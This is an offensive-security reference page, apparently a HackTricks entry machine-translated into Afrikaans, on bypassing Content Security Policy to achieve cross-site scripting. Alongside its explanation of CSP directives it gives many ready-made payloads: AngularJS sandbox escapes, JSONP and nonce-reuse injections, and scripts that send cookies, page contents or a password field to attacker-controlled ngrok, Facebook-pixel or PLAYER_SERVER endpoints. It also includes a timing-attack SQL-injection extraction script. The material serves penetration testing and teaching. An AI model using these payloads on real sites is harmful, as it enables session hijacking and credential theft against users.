Content Security Policy (CSP) Bypass

Reading time: 33 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Wat is CSP

Content Security Policy (CSP) word erken as 'n blaastegnologie, hoofsaaklik gemik om te beskerm teen aanvalle soos cross-site scripting (XSS). Dit funksioneer deur pad en bronne te definieer en te detailleer waaruit hulpbronne veilig deur die blaaiers gelaai kan word. Hierdie hulpbronne sluit 'n reeks elemente in soos beelde, rame, en JavaScript. Byvoorbeeld, 'n beleid mag die laai en uitvoering van hulpbronne van dieselfde domein (self) toelaat, insluitend inline hulpbronne en die uitvoering van stringkode deur funksies soos eval, setTimeout, of setInterval.

Implementering van CSP word uitgevoer deur antwoordkoppe of deur meta-elemente in die HTML-bladsy in te sluit. Na hierdie beleid, handhaaf blaaiers proaktief hierdie bepalings en blokkeer onmiddellik enige opgespoor oortredings.

  • Geïmplementeer via antwoordkop:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • Geïmplementeer deur middel van meta-tag:
xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Headers

CSP kan afgedwing of gemonitor wees met behulp van hierdie koptekste:

  • Content-Security-Policy: Dwing die CSP af; die blaaier blokkeer enige oortredings.
  • Content-Security-Policy-Report-Only: Gebruik vir monitering; rapporteer oortredings sonder om hulle te blokkeer. Ideaal vir toetsing in pre-produksie omgewings.

Defining Resources

CSP beperk die oorspronge vir die laai van beide aktiewe en passiewe inhoud, wat aspekte soos inline JavaScript-uitvoering en die gebruik van eval() beheer. 'n Voorbeeld beleid is:

bash
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Direktiewe

  • script-src: Laat spesifieke bronne vir JavaScript toe, insluitend URL's, inline skripte, en skripte wat deur gebeurtenishandlers of XSLT-stylesheets geaktiveer word.
  • default-src: Stel 'n standaardbeleid in vir die verkryging van hulpbronne wanneer spesifieke verkrygingsdirektiewe afwesig is.
  • child-src: Spesifiseer toegelate hulpbronne vir webwerkers en ingebedde raaminhoud.
  • connect-src: Beperk URL's wat gelaai kan word met behulp van interfaces soos fetch, WebSocket, XMLHttpRequest.
  • frame-src: Beperk URL's vir rame.
  • frame-ancestors: Spesifiseer watter bronne die huidige bladsy kan inkorporeer, van toepassing op elemente soos <frame>, <iframe>, <object>, <embed>, en <applet>.
  • img-src: Definieer toegelate bronne vir beelde.
  • font-src: Spesifiseer geldige bronne vir skrifte wat met @font-face gelaai word.
  • manifest-src: Definieer toegelate bronne van toepassingsmanifestlêers.
  • media-src: Definieer toegelate bronne vir die laai van media-objekte.
  • object-src: Definieer toegelate bronne vir <object>, <embed>, en <applet> elemente.
  • base-uri: Spesifiseer toegelate URL's vir laai met behulp van <base> elemente.
  • form-action: Lys geldige eindpunte vir vormindienings.
  • plugin-types: Beperk mime-tipes wat 'n bladsy mag aanroep.
  • upgrade-insecure-requests: Gee instruksies aan blaaiers om HTTP-URL's na HTTPS te herskryf.
  • sandbox: Pas beperkings toe wat soortgelyk is aan die sandbox-attribuut van 'n <iframe>.
  • report-to: Spesifiseer 'n groep waaraan 'n verslag gestuur sal word indien die beleid oortree word.
  • worker-src: Spesifiseer geldige bronne vir Worker, SharedWorker, of ServiceWorker skripte.
  • prefetch-src: Spesifiseer geldige bronne vir hulpbronne wat verkry of vooraf verkry sal word.
  • navigate-to: Beperk die URL's waartoe 'n dokument op enige manier kan navigeer (a, vorm, window.location, window.open, ens.)

Bronne

  • *: Laat alle URL's toe behalwe dié met data:, blob:, filesystem: skemas.
  • 'self': Laat laai vanaf dieselfde domein toe.
  • 'data': Laat hulpbronne toe om via die data-skema gelaai te word (bv. Base64-gecodeerde beelde).
  • 'none': Blokkeer laai vanaf enige bron.
  • 'unsafe-eval': Laat die gebruik van eval() en soortgelyke metodes toe, nie aanbeveel vir sekuriteitsredes nie.
  • 'unsafe-hashes': Aktiveer spesifieke inline gebeurtenishandlers.
  • 'unsafe-inline': Laat die gebruik van inline hulpbronne soos inline <script> of <style> toe, nie aanbeveel vir sekuriteitsredes nie.
  • 'nonce': 'n Witlys vir spesifieke inline skripte wat 'n kriptografiese nonce (nommer wat een keer gebruik word) gebruik.
  • As jy JS beperkte uitvoering het, is dit moontlik om 'n gebruikte nonce binne die bladsy te kry met doc.defaultView.top.document.querySelector("[nonce]") en dit dan te hergebruik om 'n kwaadwillige skrip te laai (as strict-dynamic gebruik word, kan enige toegelate bron nuwe bronne laai, so dit is nie nodig nie), soos in:
Laai skrip wat nonce hergebruik
html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
  • 'sha256-<hash>': Witlys scripts met 'n spesifieke sha256-hash.
  • 'strict-dynamic': Laat die laai van scripts van enige bron toe as dit deur 'n nonce of hash gewitlys is.
  • 'host': Spesifiseer 'n spesifieke gasheer, soos example.com.
  • https:: Beperk URL's tot dié wat HTTPS gebruik.
  • blob:: Laat hulpbronne toe om van Blob-URL's gelaai te word (bv. Blob-URL's wat via JavaScript geskep is).
  • filesystem:: Laat hulpbronne toe om van die lêerstelsel gelaai te word.
  • 'report-sample': Sluit 'n monster van die oortredende kode in die oortredingsverslag in (nuttig vir foutopsporing).
  • 'strict-origin': Soortgelyk aan 'self' maar verseker dat die protokol-sekuriteitsvlak van die bronne ooreenstem met die dokument (slegs veilige oorspronge kan hulpbronne van veilige oorspronge laai).
  • 'strict-origin-when-cross-origin': Stuur volle URL's wanneer dieselfde oorsprong versoeke gemaak word, maar stuur slegs die oorsprong wanneer die versoek kruis-oorsprong is.
  • 'unsafe-allow-redirects': Laat hulpbronne toe om gelaai te word wat onmiddellik na 'n ander hulpbron sal herlei. Nie aanbeveel nie, aangesien dit sekuriteit verzwak.

Onveilige CSP-reëls

'unsafe-inline'

yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Working payload: "/><script>alert(1);</script>

self + 'unsafe-inline' via Iframes

CSP bypass: self + 'unsafe-inline' with Iframes

'unsafe-eval'

caution

Dit werk nie, vir meer inligting kyk hier.

yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Werkende payload:

html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

As jy op een of ander manier 'n toegelate JS-kode 'n nuwe skrip-tag in die DOM met jou JS-kode kan maak, omdat 'n toegelate skrip dit skep, sal die nuwe skrip-tag toegelaat word om uitgevoer te word.

Wildcard (*)

yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;

Werkende payload:

markup
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Gebrek aan object-src en default-src

[!CAUTION] > Dit lyk asof dit nie meer werk nie

yaml
Content-Security-Policy: script-src 'self' ;

Werkende payloads:

markup
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Lêeroplaai + 'self'

yaml
Content-Security-Policy: script-src 'self';  object-src 'none' ;

As jy 'n JS-lêer kan oplaai, kan jy hierdie CSP omseil:

Werkende payload:

markup
"/>'><script src="/uploads/picture.png.js"></script>

However, dit is hoogs waarskynlik dat die bediener die opgelaaide lêer valideer en slegs sal toelaat dat jy bepaalde tipe lêers oplaai.

Boonop, selfs al kon jy 'n JS-kode binne 'n lêer oplaai met 'n uitbreiding wat deur die bediener aanvaar word (soos: script.png), sal dit nie genoeg wees nie omdat sommige bedieners soos die apache bediener die MIME-tipe van die lêer op grond van die uitbreiding kies en blaaiers soos Chrome sal weier om Javascript-kode binne iets wat 'n beeld behoort te wees, uit te voer. "Hopelik", is daar foute. Byvoorbeeld, van 'n CTF het ek geleer dat Apache nie weet van die .wave uitbreiding nie, daarom dien dit nie met 'n MIME-tipe soos audio/*.

Van hier af, as jy 'n XSS en 'n lêeroplaai vind, en jy slaag daarin om 'n misverstandige uitbreiding te vind, kan jy probeer om 'n lêer met daardie uitbreiding en die inhoud van die skrip op te laai. Of, as die bediener die korrekte formaat van die opgelaaide lêer nagaan, skep 'n polyglot (sommige polyglot voorbeelde hier).

Form-action

As dit nie moontlik is om JS in te voeg nie, kan jy steeds probeer om byvoorbeeld akrediteer te eksfiltreer deur 'n vorm aksie in te voeg (en dalk verwag dat wagwoordbestuurders wagwoorde outomaties invul). Jy kan 'n voorbeeld in hierdie verslag vind. Let ook daarop dat default-src nie vorm aksies dek nie.

Derdeparty Eindpunte + ('unsafe-eval')

warning

Vir sommige van die volgende payloads is unsafe-eval selfs nie nodig nie.

yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Laai 'n kwesbare weergawe van angular en voer arbitrêre JS uit:

xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads wat Angular gebruik + 'n biblioteek met funksies wat die window objek teruggee (kyk na hierdie pos):

note

Die pos wys dat jy alle biblioteke van cdn.cloudflare.com (of enige ander toegelate JS biblioteek repo) kan laai, alle bygevoegde funksies van elke biblioteek kan uitvoer, en watter funksies van watter biblioteke die window objek teruggee kan nagaan.

markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS vanaf 'n klasnaam:

html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Misbruik van google recaptcha JS kode

Volgens hierdie CTF-skrywe kan jy https://www.google.com/recaptcha/ binne 'n CSP misbruik om arbitrêre JS kode uit te voer en die CSP te omseil:

html
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Meer payloads van hierdie skrywe:

html
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

<!-- Trigger alert -->
<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />

<!-- Reuse nonce -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />

Misbruik van www.google.com vir oop herleiding

Die volgende URL herlei na example.com (van hier):

https://www.google.com/amp/s/example.com/

Misbruik van *.google.com/script.google.com

Dit is moontlik om Google Apps Script te misbruik om inligting te ontvang op 'n bladsy binne script.google.com. Soos dit in hierdie verslag gedoen word.

Derdeparty Eindpunte + JSONP

http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Scenario's soos hierdie waar script-src op self en 'n spesifieke domein wat op die witlys is, gestel is, kan omseil word deur JSONP. JSONP eindpunte laat onveilige terugroepmetodes toe wat 'n aanvaller in staat stel om XSS uit te voer, werkende payload:

markup
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
html
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee bevat gereed-om-te-gebruik JSONP eindpunte om CSP te omseil van verskillende webwerwe.

Die dieselfde kwesbaarheid sal voorkom as die vertroude eindpunt 'n Open Redirect bevat omdat as die aanvanklike eindpunt vertrou word, omleidings vertrou word.

Derdeparty Misbruik

Soos beskryf in die volgende pos, is daar baie derdeparty domeine, wat dalk êrens in die CSP toegelaat word, wat misbruik kan word om óf data te ekstrapoleer óf JavaScript kode uit te voer. Sommige van hierdie derdepartye is:

EntiteitToegelate DomeinVermoëns
Facebookwww.facebook.com, *.facebook.comEkstrapoleer
Hotjar*.hotjar.com, ask.hotjar.ioEkstrapoleer
Jsdelivr*.jsdelivr.com, cdn.jsdelivr.netVoer uit
Amazon CloudFront*.cloudfront.netEkstrapoleer, Voer uit
Amazon AWS*.amazonaws.comEkstrapoleer, Voer uit
Azure Websites*.azurewebsites.net, *.azurestaticapps.netEkstrapoleer, Voer uit
Salesforce Heroku*.herokuapp.comEkstrapoleer, Voer uit
Google Firebase*.firebaseapp.comEkstrapoleer, Voer uit

As jy enige van die toegelate domeine in die CSP van jou teiken vind, is daar 'n kans dat jy die CSP mag kan omseil deur op die derdeparty diens te registreer en óf data na daardie diens te ekstrapoleer óf kode uit te voer.

Byvoorbeeld, as jy die volgende CSP vind:

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

of

Content-Security-Policy​: connect-src www.facebook.com;​

U moet in staat wees om data te exfiltreer, soortgelyk aan hoe dit altyd gedoen is met Google Analytics/Google Tag Manager. In hierdie geval volg u hierdie algemene stappe:

  1. Skep 'n Facebook Developer-rekening hier.
  2. Skep 'n nuwe "Facebook Login" app en kies "Webwerf".
  3. Gaan na "Instellings -> Basies" en kry u "App ID".
  4. In die teikenwebwerf waarvan u data wil exfiltreer, kan u data exfiltreer deur direk die Facebook SDK gadget "fbq" te gebruik deur 'n "customEvent" en die datalaai.
  5. Gaan na u App "Event Manager" en kies die toepassing wat u geskep het (let op dat die gebeurtenisbestuurder in 'n URL soortgelyk aan hierdie een gevind kan word: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events).
  6. Kies die tab "Test Events" om die gebeurtenisse te sien wat deur "u" webwerf gestuur word.

Dan, aan die kant van die slagoffer, voer u die volgende kode uit om die Facebook-opsporing pixel te initialiseer om na die aanvaller se Facebook ontwikkelaar rekening app-id te wys en 'n aangepaste gebeurtenis soos volg uit te reik:

JavaScript
fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

Wat die ander sewe derdeparty-domeine betref wat in die vorige tabel gespesifiseer is, is daar baie ander maniere waarop jy hulle kan misbruik. Verwys na die vorige blog post vir bykomende verduidelikings oor ander derdeparty-misbruik.

Bypass via RPO (Relative Path Overwrite)

Benewens die bogenoemde herleiding om padbeperkings te omseil, is daar 'n ander tegniek genaamd Relative Path Overwrite (RPO) wat op sommige bedieners gebruik kan word.

Byvoorbeeld, as CSP die pad https://example.com/scripts/react/ toelaat, kan dit soos volg omgegaan word:

html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

Die blaaiers sal uiteindelik https://example.com/scripts/angular/angular.js laai.

Dit werk omdat jy vir die blaier 'n lêer met die naam ..%2fangular%2fangular.js laai wat geleë is onder https://example.com/scripts/react/, wat voldoen aan CSP.

∑, hulle sal dit decodeer, wat effektief https://example.com/scripts/react/../angular/angular.js versoek, wat gelyk is aan https://example.com/scripts/angular/angular.js.

Deur hierdie inkonsekwentheid in URL-interpretasie tussen die blaier en die bediener te benut, kan die padreëls omseil word.

Die oplossing is om nie %2f as / aan die bedienerkant te behandel nie, wat 'n konsekwente interpretasie tussen die blaier en die bediener verseker om hierdie probleem te vermy.

Aanlyn Voorbeeld: https://jsbin.com/werevijewa/edit?html,output

Iframes JS uitvoering

Iframes in XSS, CSP and SOP

ontbrekende base-uri

As die base-uri riglyn ontbreek, kan jy dit misbruik om 'n dangling markup injection uit te voer.

Boonop, as die bladsy 'n skrif laai met 'n relatiewe pad (soos <script src="/js/app.js">) met 'n Nonce, kan jy die base tag misbruik om dit te laai vanaf jou eie bediener wat 'n XSS bereik.
As die kwesbare bladsy met httpS gelaai word, gebruik 'n httpS-URL in die basis.

html
<base href="https://www.attacker.com/" />

AngularJS gebeurtenisse

'n Spesifieke beleid bekend as Content Security Policy (CSP) mag JavaScript gebeurtenisse beperk. Nietemin, AngularJS stel persoonlike gebeurtenisse as 'n alternatief bekend. Binne 'n gebeurtenis bied AngularJS 'n unieke objek $event, wat na die inheemse blaaiersgebeurtenis objek verwys. Hierdie $event objek kan benut word om die CSP te omseil. Opmerklik is dat, in Chrome, die $event/event objek 'n path attribuut het, wat 'n objekarray bevat wat betrokke is by die gebeurtenis se uitvoeringsketting, met die window objek altyd aan die einde. Hierdie struktuur is van kardinale belang vir sandbox ontsnappingstaktieke.

Deur hierdie array na die orderBy filter te rig, is dit moontlik om oor dit te herhaal, en die terminale element (die window objek) te benut om 'n globale funksie soos alert() te aktiveer. Die gedemonstreerde kode-snippet hieronder verduidelik hierdie proses:

xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Hierdie snit beklemtoon die gebruik van die ng-focus riglyn om die gebeurtenis te aktiveer, deur $event.path|orderBy te gebruik om die path-array te manipuleer, en die window-objek te benut om die alert()-funksie uit te voer, wat document.cookie onthul.

Vind ander Angular omseilings in https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS en gewhitelistde domein

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

'n CSP-beleid wat domeine vir skriplaai in 'n Angular JS-toepassing witlys, kan omseil word deur die aanroep van terugroepfunksies en sekere kwesbare klasse. Verdere inligting oor hierdie tegniek kan gevind word in 'n gedetailleerde gids beskikbaar op hierdie git repository.

Werkende payloads:

html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Ander JSONP arbitrêre uitvoerings eindpunte kan gevind word in hier (sommige van hulle is verwyder of reggestel)

Bypass deur Herleiding

Wat gebeur wanneer CSP server-kant herleiding teëkom? As die herleiding na 'n ander oorsprong lei wat nie toegelaat word nie, sal dit steeds misluk.

E however, volgens die beskrywing in CSP spesifikasie 4.2.2.3. Paaie en Herleidings, as die herleiding na 'n ander pad lei, kan dit die oorspronklike beperkings omseil.

Hier is 'n voorbeeld:

html
<!DOCTYPE html>
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</head>
<body>
<div id="userContent">
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

As CSP op https://www.google.com/a/b/c/d gestel is, sal beide /test en /a/test skripte deur CSP geblokkeer word.

Echter, die finale http://localhost:5555/301 sal op die bediener-kant herlei word na https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//. Aangesien dit 'n herleiding is, word die pad nie oorweeg nie, en die skrip kan gelaai word, wat die padbeperking omseil.

Met hierdie herleiding, selfs al is die pad heeltemal gespesifiseer, sal dit steeds omseil word.

Daarom is die beste oplossing om te verseker dat die webwerf geen oop herleiding kwesbaarhede het nie en dat daar geen domeine is wat in die CSP-reëls uitgebuit kan word nie.

Omseil CSP met hangende merk

Lees hoe hier.

'unsafe-inline'; img-src *; via XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' beteken dat jy enige skrip binne die kode kan uitvoer (XSS kan kode uitvoer) en img-src * beteken dat jy enige beeld van enige hulpbron op die webblad kan gebruik.

Jy kan hierdie CSP omseil deur die data via beelde te exfiltreer (in hierdie geval misbruik die XSS 'n CSRF waar 'n bladsy wat deur die bot toeganklik is 'n SQLi bevat, en die vlag via 'n beeld onttrek):

javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>

Van: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

Jy kan ook hierdie konfigurasie misbruik om javascript kode in 'n beeld in te laai. As die bladsy byvoorbeeld die laai van beelde van Twitter toelaat. Jy kan 'n spesiale beeld maak, dit na Twitter oplaai en die "unsafe-inline" misbruik om 'n JS kode (soos 'n gewone XSS) uit te voer wat die beeld sal laai, die JS daarvan sal onttrek en dit sal uitvoer: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Met Dienswerkers

Dienswerkers importScripts funksie is nie beperk deur CSP nie:

Abusing Service Workers

Beleid Inspuiting

Navorsing: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

As 'n parameter wat deur jou gestuur word binne die verklaring van die beleid geplak word, kan jy die beleid op 'n manier verander wat dit onbruikbaar maak. Jy kan script 'unsafe-inline' met enige van hierdie omseilings toelaat:

bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Omdat hierdie riglyn bestaande script-src riglyne sal oorskryf.
Jy kan 'n voorbeeld hier vind: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

In Edge is dit baie eenvoudiger. As jy net hierdie in die CSP kan voeg: ;_ Edge sal die hele beleid verwerp.
Voorbeeld: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; via XSS (iframe) - Tydaanval

Let op die gebrek aan die riglyn 'unsafe-inline'
Hierdie keer kan jy die slagoffer dwing om 'n bladsy in jou beheer te laai via XSS met 'n <iframe. Hierdie keer gaan jy die slagoffer dwing om toegang te verkry tot die bladsy waarvandaan jy inligting wil onttrek (CSRF). Jy kan nie die inhoud van die bladsy toegang nie, maar as jy op een of ander manier die tyd wat die bladsy benodig om te laai kan beheer, kan jy die inligting wat jy nodig het onttrek.

Hierdie keer gaan 'n vlag onttrek word, wanneer 'n karakter korrek geraai word via SQLi neem die antwoord meer tyd weens die slaapfunksie. Dan sal jy in staat wees om die vlag te onttrek:

html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
function gen(x) {
x = escape(x.replace(/_/g, "\\_"))
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
}

function gen2(x) {
x = escape(x)
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
}

async function query(word, end = false) {
let h = performance.now()
f.location = end ? gen2(word) : gen(word)
await new Promise((r) => {
g.onload = r
})
let diff = performance.now() - h
return diff > 300
}

let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
let postfix = "}"

async function run() {
let prefix = "nn9ed{"
while (true) {
let i = 0
for (i; i < alphabet.length; i++) {
let c = alphabet[i]
let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
console.log(prefix, c, t)
if (t) {
console.log("FOUND!")
prefix += c
break
}
}
if (i == alphabet.length) {
console.log("missing chars")
break
}
let t = await query(prefix + "}", true)
if (t) {
prefix += "}"
break
}
}
new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
console.log(prefix)
}

run()
</script>

Via Bookmarklets

Hierdie aanval sou 'n bietjie sosiale ingenieurswese impliseer waar die aanvaller die gebruiker oortuig om 'n skakel oor die bladmerk van die blaaier te sleep en te laat val. Hierdie bladmerk sou kwaadaardige javascript kode bevat wat, wanneer gesleep en laat val of geklik, in die konteks van die huidige webvenster uitgevoer sou word, CSP omseil en toelaat om sensitiewe inligting soos koekies of tokens te steel.

Vir meer inligting kyk die oorspronklike verslag hier.

CSP omseiling deur CSP te beperk

In hierdie CTF-skrywe, word CSP omgegaan deur binne 'n toegelate iframe 'n meer beperkende CSP in te spuit wat die laai van 'n spesifieke JS-lêer verbied het wat, dan, via prototype pollution of dom clobbering toegelaat het om 'n ander skrip te misbruik om 'n arbitrêre skrip te laai.

Jy kan 'n CSP van 'n Iframe beperk met die csp attribuut:

html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

In hierdie CTF skrywe, was dit moontlik om via HTML inspuiting 'n CSP meer te beperk sodat 'n skrip wat CSTI voorkom, gedeaktiveer is en daarom het die kwesbaarheid uitvoerbaar geword.
CSP kan meer beperkend gemaak word deur HTML meta-tags te gebruik en inline skripte kan gedeaktiveer word deur die invoer wat hul nonce toelaat te verwyder en spesifieke inline skrip via sha te aktiveer:

html
<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />

JS eksfiltrasie met Content-Security-Policy-Report-Only

As jy daarin slaag om die bediener te laat reageer met die kop Content-Security-Policy-Report-Only met 'n waarde wat deur jou beheer word (miskien as gevolg van 'n CRLF), kan jy dit laat wys na jou bediener en as jy die JS-inhoud wat jy wil eksfiltreer met <script> omhul en omdat dit hoogs waarskynlik unsafe-inline nie deur die CSP toegelaat word nie, sal dit 'n CSP-fout veroorsaak en 'n deel van die skrip (wat die sensitiewe inligting bevat) sal na die bediener gestuur word vanaf Content-Security-Policy-Report-Only.

Vir 'n voorbeeld kyk na hierdie CTF-skrywe.

CVE-2020-6519

javascript
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'

Inligting Lek met CSP en Iframe

  • 'n iframe word geskep wat na 'n URL wys (kom ons noem dit https://example.redirect.com) wat deur CSP toegelaat word.
  • Hierdie URL lei dan na 'n geheime URL (bv. https://usersecret.example2.com) wat nie toegelaat word deur CSP nie.
  • Deur na die securitypolicyviolation gebeurtenis te luister, kan 'n mens die blockedURI eienskap vasvang. Hierdie eienskap onthul die domein van die geblokkeerde URI, wat die geheime domein lek waarnatoe die aanvanklike URL omgelei het.

Dit is interessant om op te let dat blaaiers soos Chrome en Firefox verskillende gedrag het in die hantering van iframes met betrekking tot CSP, wat kan lei tot die potensiële lek van sensitiewe inligting as gevolg van ongedefinieerde gedrag.

'n Ander tegniek behels die benutting van die CSP self om die geheime subdomein af te lei. Hierdie metode maak staat op 'n binêre soekalgoritme en die aanpassing van die CSP om spesifieke domeine in te sluit wat doelbewus geblokkeer is. Byvoorbeeld, as die geheime subdomein uit onbekende karakters bestaan, kan jy iteratief verskillende subdomeine toets deur die CSP-riglyn aan te pas om hierdie subdomeine te blokkeer of toe te laat. Hier is 'n snit wat wys hoe die CSP opgestel kan word om hierdie metode te fasiliteer:

markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

